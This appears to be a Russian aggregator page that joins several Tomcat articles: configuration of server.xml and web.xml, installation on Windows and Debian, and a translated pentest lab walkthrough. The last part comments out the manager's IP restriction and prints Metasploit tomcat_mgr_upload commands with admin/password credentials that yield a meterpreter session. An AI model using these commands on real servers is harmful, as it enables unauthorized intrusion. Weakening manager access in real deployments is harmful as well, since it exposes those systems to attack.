Меню

Настройка сервера apache tomcat



Настройка сервера apache tomcat

Следующий шаг после установки Tomcat — выбрать базовые настройки. Этот процесс разбит на два этапа , которые детально описаны в этой статье. Первый — редактирование файлов настроек XML , второй — выбор соответствующих переменных для среды.

Файлы настроек XML

Два самых важных файла настроек, чтобы запустить Tomcat, называются .xml и web.xml. По умолчанию они размещены в TOMCAT-HOME/conf/server.xml и TOMCAT-HOME/conf/web.xml, соответственно.

Не выполняйте одни и те же настройки дважды. Try Tcat — профили сервера, которые позволяют сохранять общие настройки и применять их к нескольким экземплярам Tomcat в один клик.

SERVER.XML

Файл server.xml — главный файл настроек Tomcat. Элементы server.xml относятся к пяти базовым категориям:

  • Элементы верхнего уровня (Top Level Elements)
  • Соединители или коннекторы (Connectors)
  • Контейнеры (Containers)
  • Встраиваемые компоненты (Nested Components)
  • Глобальные настройки (Global Settings)

У всех элементов из этих категорий имеется множество атрибутов, которые позволяют точно определить функциональные возможности. Чаще всего если необходимо внести какие-то существенные изменения в установку Tomcat, как, например, изменить число портов, приходится редактировать файл server.xml.

На сайте Apache’s Tomcat Documentation содержится достаточно информации, но нет некоторых сведений о настройках элементов. В этой статье все это освещено.

Элементы верхнего уровня

Server (сервер)

Этот элемент определяет отдельный сервер Tomcat и содержит элементы конфигурации Logger и ContextManager. К тому же, элемент Server поддерживает атрибуты «port», «shutdown» и «className». Атрибут порт используется для того, чтобы уточнить, через какой порт должны выполняться команды shutdown (отключения). Атрибут shutdown задает командную строку для отдельного порта, чтобы спровоцировать отключение. Атрибут className — реализацию класса Java, которая должна использоваться.

Service (сервис)

Это элемент, который можно поместить в элемент Server; он содержит один или несколько компонентов Connector, у которых один общий компонент Engine. Главная функция этого компонента — задать эти компоненты как один сервис. Название сервиса, который будет появляться в логах, определяется с помощью атрибута «name» (элемент Service).

Connectors (соединители)

Размещая один или несколько соединителей (connector) в теге Service, вы тем самым позволяете системе перенаправить запросы из этих портов в один компонент Engine для обработки. Tomcat позволяет определить соединители HTTP и AJP.

HTTP- соединитель

Этот элемент представляет HTTP/1.1 Connector и обеспечивает Catalina автономным функционалом веб-сервера. Это означает, что в дополнение к выполнению сервелатов и JSP -страниц, Catalina способен прослушивать специфические TCP-порты для запросов. Настраивая HTTP-коннекторы, обращайте внимание на атрибуты «minSpareThreads», «maxThreads» и «acceptCount».

Атрибут «maxThreads» особенно важен. Он контролирует максимальное число тредов, которые можно создать для управления запросами. Если будет установлено слишком малое значение, запросы будут застревать в серверном сокете, что может спровоцировать отказ в соединении. Эта проблема устраняется во время тестирования.

AJP-соединитель

Данный элемент является соединителем, который обеспечивает связь с протоколом AJP. Главная роль элемента в том, чтобы помочь Tomcat работать в связке с Apache.

Контейнеры

С помощью этих элементов Catalina направляет запросы в корректный обрабатывающий аппарат.

Context

Этот элемент представляет определенное веб-приложение и содержит данные о пути, по которому определяются запросы для соответствующих ресурсов приложения. Catalina получает запрос и пытается сопоставить самый длинный URI с контекстным путем определенного элемента Context до тех пор, пока не найдется корректный элемент, который бы обслуживал запрос.

У элемента Context может быть максимум один встроенный экземпляр на один элемент из вспомогательных элементов Loader, Manager, Realm, Resources и WatchedResource.

Хотя Tomcat позволяет определять элементы Context в «TOMCAT-HOME/conf/server.xml», этого лучше избегать, поскольку эти главные настройки нельзя перезагрузить без перезагрузки Tomcat.

Engine

Этот элемент используется в связке с одним или несколькими соединителями, которые размещены в элементе Service. Элемент Engine может использоваться только в случае если он размещен в элементе Service, и только один элемент Engine разрешен в элементе Service. Обращайте внимание на атрибут «defaultHost», который задает элемент Host.

Последний отвечает за обслуживание запросов для названий хостов на сервере, которые не настраиваются в server.xml. Название этого атрибута должно совпадать с названием одного из элементов Host, которые размещены в элементе Engine. Также важно выбрать уникальное, логичное название для каждого из элементов Engine, используя атрибут «name». Если один элемент Server в вашем файле server.xml включает несколько элементов Service, потребуется выбрать уникальное название для каждого элемента Engine.

Элемент, который размещен в элементе Engine, и используется, чтобы связать названия серверной сети с серверами Catalina . Этот элемент будет функционировать должным образом только если виртуальный хост был зарегистрирован в системе DNS соответствующего домена. Одна из самых полезных особенностей элемента Host — возможность содержать элементы Alias, использующиеся для того, чтобы определить названия нескольких сетей.

Cluster

Элемент Cluster используется в Tomcat для того, чтобы обеспечить репликацию контекстных атрибутов, использование WAR, репликацию сессий, и может размещаться в элементе Engine или Host. В них размещаются элементы Manager, Channel, Valve, Deployer и ClusterListener.

Больше информации об этих элементах и о том, как они используются, можно найти на странице Apache Tomcat Configuration. И хотя у этого элемента множество различных конфигураций, стандартной конфигурации будет вполне достаточно, чтобы учесть интересы большинства пользователей при разработке приложения .

Nested Components

Эти элементы размещаются внутри

элементов container, чтобы задать дополнительные функциональные возможности.

Читайте также:  Vesta почтовый сервер настройка

Listeners

Эти элементы можно поместить внутрь элементов Server, Engine, Host или Context. Они указывают на компонент, который производит определенное действие при специфическом событии.

У большинства компонентов есть атрибуты className, чтобы выбрать разные реализации элемента. Существует ряд дополнительных реализаций Listener, не только дефолтных. Все эти реализации требуют, чтобы элемент Listener размещался в определенном элементе Server.

И крайне важно настроить этот атрибут корректно. Доступные на текущий момент реализации содержатся в APR Lifecycle Listener, Jasper Listener, Server Lifecyle Listener, Global Resources Lifecyle Listener, JMX Remote Lifecycle Listener и в JRE Memory Leak Prevention Listener.

Global Naming Resources

Этот элемент используется, чтобы определить ресурсы Java Naming and Directory Interface для специфического Server, отличного от любых контекстов веб-приложения JNDI. Если нужно, вы можете задать характеристики JNDI resource lookup для и в данном элементе, определив их и связав с помощью .

Результаты этого метода эквивалентны добавлению элементов в файл приложения «/WEB-INF/web.xml». Если используете эту технику, проверьте, что вы определили дополнительные параметры, которые необходимы, чтобы задать и настроить объект-фабрику и свойства.

Realm

Этот элемент размещается в любом элементе Container и задает базу данных, содержащую имена пользователей, пароли и роли для Container. При размещении внутри элемента Host или Engine, характеристики, заданные в элементе Realm, передаются всем контейнерам нижнего уровня по умолчанию.

Важно корректно установить атрибут «className» этого элемента, поскольку существует множество реализаций. Эти реализации используются, чтобы сделать доступным Catalina другим системам управления безопасностью пользователей (например, JDBC , JNDI или DataSource).

Resources

У этого элемента только одно предназначение — направить Catalina в статические ресурсы, которые используются вашими веб-приложениями. Эти ресурсы включают классы, HTML и JSP файлы. Использование этого элемента предоставляет Catalina доступ к файлам, содержащимся в других местах, помимо файловой системы (filesystem), таким как ресурсы, которые содержатся в архивах WAR или базах данных JDBC.

Важно помнить, что это техника предоставления веб-приложениям доступа к ресурсам, которые содержатся вне файловой системы, может использоваться только, если приложение не требует непосредственного доступа к ресурсами, которые хранятся в файловой системе.

Valve

Компоненты Valve размещаются внутри элементов Engine, Host и Context, с их помощью добавляются специальные функциональные возможности в конвейер, обрабатывающий запросы. Это очень разносторонний элемент. Существует множество различных типов элементов Valve — от аутентификаторов до фильтров и исправлений ошибок WebDAV. Многие из этих типов Valve размещаются только внутри специальных элементов.

Web.XML

Файл web.xml содержит информацию, которая используется для конфигурации компонентов ваших веб-приложений. Задавая конфигурацию Tomcat в первый раз, вы можете задать servlet-mapping для центральных компонентов, таких как JSP. В Tomcat этот файл функционирует так же, как описано в спецификации Servlet.

Единственное отличие в том, как Tomcat обрабатывает этот файл: есть опция задать с помощью TOMCAT-HOME/conf/web.xml значения по умолчанию для всех контекстов. Если используется такой метод, базовой конфигурацией будет служить TOMCAT-HOME/conf/web.xml, который может переписать специфические для приложения файлы WEB-INF/web.xml.

Другие важные файлы конфигурации

Есть и другие важные файлы. Список ролей, пользователей и паролей, которые UserDatabaseRealm использует для аутентификации, их можно найти в tomcat-users.xml. Если нужен доступ к другим административным инструментам, которые присутствуют в Tomcat, вы можете отредактировать файл и добавить доступ администратора и менеджера.

Стандартные настройки контекста вашей установки Tomcat могут быть изменены в файле context.xml. Файл catalina.policy, который заменяет файл java.policy (с избранным JDK), содержит настройки разрешения для элементов Tomcat. Вы можете редактировать этот файл вручную или же с помощью policytool.

Переменные среды

Если Tomcat настраивается в первый раз, понадобится изменить несколько переменных среды, чтобы они соответствовали вашим требованиям.

JAVA_OPTS

С помощью этой переменной изменяется размер heap size of the JVM . Установить соответствующие значения для этой переменной крайне важно при размещении нового приложения, которому может понадобиться определенный размер динамической памяти для корректной работы. Подобрав соответствующие значения для этих настроек, вы сможете уменьшить число OOME-сообщений.

CATALINA_HOME

Эта переменная задает место установки Tomcat. Скрипты автозапуска в Tomcat будут пытаться определить значение этой переменной, но лучше просто установить корректное значение, чтобы избежать сложностей.

CATALINA_OPTS

Переменная, которая используется для установки различных специфических опций в Tomcat.

Источник

Установка Apache Tomcat на Windows, краткая инструкция

Небольшая выдержка из Википедии: Tomcat позволяет запускать веб-приложения, содержит ряд программ для самоконфигурирования.
Tomcat используется в качестве самостоятельного веб-сервера, в качестве сервера контента в сочетании с веб-сервером Apache HTTP Server, а также в качестве контейнера сервлетов в серверах приложений JBoss и GlassFish.

1. Необходимое программное обеспечение
1.1. Java, Apache Tomcat 7.0 работает с Java Standard Edition Runtime
Environment (JRE) версии 6.0 и старше.
Скачать JRE или JDK (если вы планируете использовать средства разработки, а не только java-машину) можно по ссылке: http://www.oracle.com/technetwork/java/javase/downloads/index.html
1.2. Tomcat, сам сервер можно скачать по ссылке: http://tomcat.apache.org/download-70.cgi.
Например, для 32-х битной windows это будет архив http://www.sai.msu.su/apache/tomcat/tomcat-7/v7.0.14/bin/apache-tomcat-7.0.14-windows-x86.zip

2. Установка Tomcat
2.1. JDK, ставим именно его для универсальности соглашаясь со всем подряд кроме локации, для удобства меняем на папку С:\jdk1.6.0.
2.1.2. Определяем переменную среды JAVA_HOME (JAVA_JRE в случае установки JRE) в Панель управления::Свойства системы::Дополнительно::Переменные среды::Системные переменные со значением папки размещения JDK из предыдущего пункта.
2.2. Tomcat, распаковываем архив с сервером в удобную папку, например, в С:\tomcat.

Читайте также:  Настройка сервера почты на ios

Источник

Установка и настройка Apache Tomcat на сервере Debian

Apache Tomcat – это сервер приложений, предназначенный для обслуживания приложений Java. Tomcat – открытая реализация Java Servlet и JavaServer Pages.

Для Java-разработчиков Tomcat предоставляет быстрый и простой способ обслуживания приложений в специально предназначенной полноценной серверной среде.

Данное руководство поможет установить и настроить Tomcat на виртуальном сервере Debian 7.

Примечание: Для выполнения руководства нужна учётная запись пользователя с правами sudo. Подробнее об этом можно прочесть в статье «Создание и удаление пользователей в Debian».

Установка Apache Tomcat

Пакеты Apache Tomcat можно найти в официальном репозитории Debian.

Обновите список пакетов системы и установите Tomcat при помощи команд:

sudo apt-get update
sudo apt-get install tomcat7

Теперь у вас есть доступ к странице Tomcat по умолчанию. Установка сервера еще не завершена. Просмотреть стандартную страницу Tomcat можно по этой ссылке:

your_domain_or_ip:8080
It Works!

Если на экране появилось такое сообщение, значит, установка пакета прошла успешно.

Это позволит использовать интерфейс для управления Tomcat.

Также можно установить документацию и примеры Tomcat, доступ к которым также можно получить через веб-интерфейс.

sudo apt-get install tomcat7-admin tomcat7-examples tomcat7-docs

Установка JDK

Для корректной работы Tomcat и поддержки приложений Java нужно установить еще несколько программ.

Первая из них – Java Development Kit, или JDK. Чтобы установить JDK на сервер Debian, введите:

sudo apt-get install default-jdk

Эта команда установит openjdk-6-jdk.

Документация Tomcat также рекомендует установить Apache Ant, инструмент для работы с приложениями Java, и систему контроля версий, к примеру, git:

sudo apt-get install ant git

Теперь сервер готов к поддержке приложений Java.

Настройка веб-интерфейса Tomcat

Чтобы получить доступ к уже установленным функциям, нужно создать пользователя и пароль.

Примечание: Из соображений безопасности Tomcat поставляется без стандартного пользователя.

Настройка очень проста. Нужно просто отредактировать файл tomcat-users.xml.

sudo nano /etc/tomcat7/tomcat-users.xml

В этом файле можно найти закомментированный код пользователя. Единственными раскоментированными строками являются:

В этих строках и нужно определить пользователя, а также предоставить ему доступ к веб-интерфейсу. Используйте следующий код:

Выберите имя пользователя и пароль; эти учетные данные нужно использовать для авторизации, чтобы получить доступ к панели управления.

Сохраните и закройте файл.

Перезапустите сервис Tomcat, чтобы обновить настройки:

sudo service tomcat7 restart

Завершение установки Tomcat

Теперь Tomcat настроен для поддержки авторизации пользователя. Откройте главную страницу Tomcat:

На экране снова появится стандартная страница Tomcat с сообщением «It Works!».

Поскольку ранее было установлено больше компонентов, на данный момент Tomcat предоставляет довольно широкий спектр функций.

Чтобы открыть документацию Tomcat в браузере, используйте ссылку:

Здесь можно найти советы и подсказки по работе с сервером Tomcat.

Также теперь есть доступ к образцам приложений, реализуемых при помощи различных технологий. Их можно найти по ссылке:

Эти примеры дают представление о различных функциях, которые можно применить в данном окружении.

Главные функции сервера называются manager webapp и host-manager webapp. Доступ к этим страницам можно получить по ссылкам:

Страница manager позволяет управлять приложениями Java. Здесь можно останавливать, запускать, разворачивать и перезагружать приложения. Кроме того, здесь можно найти утечки памяти, вызванные запущенными приложениями.

Страница host-manager позволят тестировать, редактировать и добавлять виртуальные хосты для обслуживания приложений.

Заключение

Как видите, Tomcat – отличная платформа для управления и обслуживания приложений Java в сети, позволяющая быстро разворачивать и запускать war-файлы.

Добавить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

Источник

Пентестинг с помощью Apache Tomcat на Linux

В этой статье подробно рассказывается о процессе установки Apache Tomcat на любой компьютер с ОС Linux, а также затронут вопрос о получении контроля над компьютером жертвы с помощью данного сервера .

Необходимые условия для осуществления пентестинга:

  • Сервер / Компьютер жертвы: Ubuntu 18.04
  • ОС компьютера пользователя: Kali Linux

Содержание

  • Знакомство с Apache Tomcat
  • Настройка Apache Tomcat
  • Установка Apache
  • Установка Java JDK
  • Скачивание Tomcat manager
  • Конфигурация Tomcat manager
  • Регистрация пользователя Tomcat и формирование группы
  • Получение разрешения
  • Создание файла службы systemd
  • Обновление брандмауэра для получения разрешения для работы Tomcat
  • Настройка интерфейса Tomcat
  • Получение доступа к интерфейсу
  • Применение Apache Tomcat

Знакомство с Apache Tomcat

Apache Tomcat, который также известен как Tomcat Server, является веб-сервером HTTP на базе Java. Он реализует спецификации Java EE, такие как Java Servlet, JavaServer Pages (JSP), Java EL и WebSocket. Это программное обеспечение с открытым исходным кодом, созданное разработчиками Apache Software Foundation. Apache был выпущен еще в 1999 году. На данный момент Apache Tomcat имеет уже 20-летнюю историю.

Apache Tomcat в своей простейшей конфигурации работает в качестве определенного процесса, осуществляемого в операционной системе. Этот процесс еще известен как виртуальная машина Java (JVM). Он позволяет Apache Tomcat функционировать независимо от платформы, а также быть безопасным для системы по сравнению с другими его аналогами.

Настройка Apache Tomcat

Пользователь начинает с установки Apache Tomcat, но перед этим он должен выполнить следующие команды.

apt update
apt install apache2

Теперь, Apache Tomcat нужен Java, установленный таким образом, что код приложения Java может быть выполнен на сервере. Для того чтобы реализовать это, требуется наличие Java Development Kit.

Читайте также:  Jabber настройка сервера с доменной авторизацией

apt-get install default-jdk

Регистрация пользователя Tomcat и формирование группы

Для того чтобы запустить tomcat от имени непривилегированного пользователя, нужно создать новую группу и пользователя с именем Tomcat. Такой пользователь создается в /opt, поэтому следует установить Tomcat именно в этот каталог. Не требуется, чтобы пользователь Tomcat использовал шелл, будут применены следующие параметры для установки /bin / false shell. При этом аутентификация пользователя Tomcat отключена.

groupadd tomcat
cd opt
mkdir tomcat
useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat

Скачивание Tomcat Manager

Скачать пакет Apache Tomcat можно здесь . После загрузки нужно распаковать пакет в /opt и продолжить установку.

sudo tar xzvf apache-tomcat-9.0.24.tar.gz -C /opt/tomcat —strip-components=1

Получение разрешения

Теперь пользователь вводит команду chgrp, чтобы передать право собственности на каталог Tomcat группе Tomcat.

cd /opt/tomcatchgrp -R tomcat /opt/tomcat

Это делается для того, чтобы разрешить пользователю Tomcat group выполнять операции. Необходимо изменить разрешение для файла /conf, как указано ниже.

chmod -R g+r confchmod g+x conf

Также будут предоставлены права собственности пользователям Тomcat group для каталогов, таких как webapp/, work/, temp/ и logs/.

chown -R tomcat webapps/ work/ temp/ logs/

Следует добиться того, чтобы Apache Tomcat запускался как служба, и для этого придется создать системную службу. Пользователю потребуется расположение установки Java. Для этого выполняется команда, приведенная ниже.

Создание файла службы systemd

Для того чтобы создать этот файл, следует открыть служебный файл tomcat. в каталоге /etc/systemd/system с помощью редактора nano.

Далее пользователь выполняет следующие команды и изменяет JAVA_HOME, как показано на картинке ниже. После его сохранения Tomcat станет выполнять роль системной службы.

[Unit]
Description=Apache Tomcat Web Application Container
After=network.target

Environment=JAVA_HOME=/usr/lib/jvm/java-1.11.0-openjdk-amd64
Environment=CATALINA_PID=/opt/tomcat/temp/tomcat.pid
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment=’CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC’
Environment=’JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom’

Нужно перезапустить systemd daemon, чтобы зарегистрировать только что созданный сервис Tomcat. Если все сделано правильно, пользователь сможет увидеть Apache Tomcat как системную службу.

sudo systemctl daemon-reload
sudo systemctl start tomcat
sudo systemctl status tomcat

Обновление брандмауэра для разрешения работы Тomcat

Пришло время разрешить Тomcat работать через брандмауэр, так как Ubuntu имеет установленный и настроенный по умолчанию ufw. Apache Tomcat обычно использует порт 8080 для получения запросов пользователей.

sudo ufw allow 8080

Пользователю следует выполнить приведенную ниже команду для того, чтобы Тomcat запускался автоматически каждый раз при загрузке компьютера.

sudo systemctl enable tomcat

Настройка интерфейса Tomcat

На этом этапе, при просмотре IP-адреса сервера с портом 8080, пользователя встретит страница Apache Tomcat. Но если он нажмет по ссылке на приложение Manager, ему будет отказано в доступе. Это означает, что пользователь еще не настроил интерфейс Tomcat Web Manager. Итак, нужно сделать это и завершить настройку Apache Tomcat.

Следует открыть файл с помощью редактора nano и внести следующие изменения, как показано на рисунке ниже.

sudo nano /opt/tomcat/conf/tomcat-users.xml

Пользователь может изменить имя и пароль в соответствии с его предпочтениями. Все данные сохраняются и после внесения соответствующих изменений редактор нужно закрыть.

По умолчанию Apache Tomcat ограничивает доступ к подключению к приложениям Manager и Host Manager. Поскольку Tomcat устанавливается для получения доступа удаленно, вероятно, стоит изменить эту ситуацию. Для того чтобы отменить данные ограничения, пользователю необходимо отредактировать файлы context.xml .

sudo nano /opt/tomcat/webapps/manager/META-INF/context.xml

Надо закомментировать ограничение IP-адреса, чтобы разрешить подключение из любого места. Кроме того, это еще делается для того, если пользователь хочет оставить доступ только к соединениям, идущим с его собственного IP-адреса.

sudo nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

То же самое делается с файлом host-manager для того, чтобы разрешить доступ к менеджеру хоста.

Изменения сохраняются и служба Tomcat перезапускается.

systemctl restart tomcat

Получение доступа к интерфейсу

Пользователь попадает в интерфейс, введя доменное имя своего сервера или IP-адрес, а затем открывает порт 8080 в браузере. Теперь он может проверить, работают ли интерфейсы Manager и Host Manager. Нужно нажать на кнопки, выделенные красным на изображении.

Появляется страница аутентификации входа в систему, как и ожидалось. Пользователь вводит учетные данные, которые были придуманы ранее.

После проверки учетных данных Apache Tomcat отправляет пользователя в интерфейс диспетчера виртуальных хостов Tomcat. На этой странице человек может добавить виртуальные хосты для обслуживания своих приложений. На этом настройка Apache Tomcat завершается.

Применение Apache Tomcat

Теперь, когда фреймворк Apache Tomcat был успешно установлен, нужно провести пентестинг. Используется Metasploit.

Этот модуль может быть применен для выполнения полезной нагрузки на серверах Apache Tomcat. Полезная нагрузка загружается в виде архива WAR, содержащего приложение JSP, использующее POST-запрос для компонентов /manager/html /upload.

Примечание : совместимые наборы полезной нагрузки варьируются в зависимости от выбранной цели. Например, необходимо выбрать целевой объект Windows для использования собственных полезных нагрузок Windows.

use exploit/multi/http/tomcat_mgr_upload
msf5 exploit(multi/http/tomcat_mgr_upload) > set target 2
msf5 exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.0.23
msf5 exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf5 exploit(multi/http/tomcat_mgr_upload) > set httpUsername admin
msf5 exploit(multi/http/tomcat_mgr_upload) > set httppassword password
msf5 exploit(multi/http/tomcat_mgr_upload) > exploit

В результате пользователь получает доступ к сеансу meterpreter целевого компьютера.

О других способах использования Tomcat manager можно почитать, перейдя по ссылке .

Автор переведенной статьи : Ahmad, пентестер и исследователь в сфере информационной безопасности.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector